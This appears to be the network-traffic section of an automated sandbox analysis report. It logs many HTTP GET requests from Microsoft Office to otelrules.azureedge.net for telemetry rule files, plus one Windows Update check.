Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=7bgLlHXmrbbZo3x&MD=8UnrH6tA HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
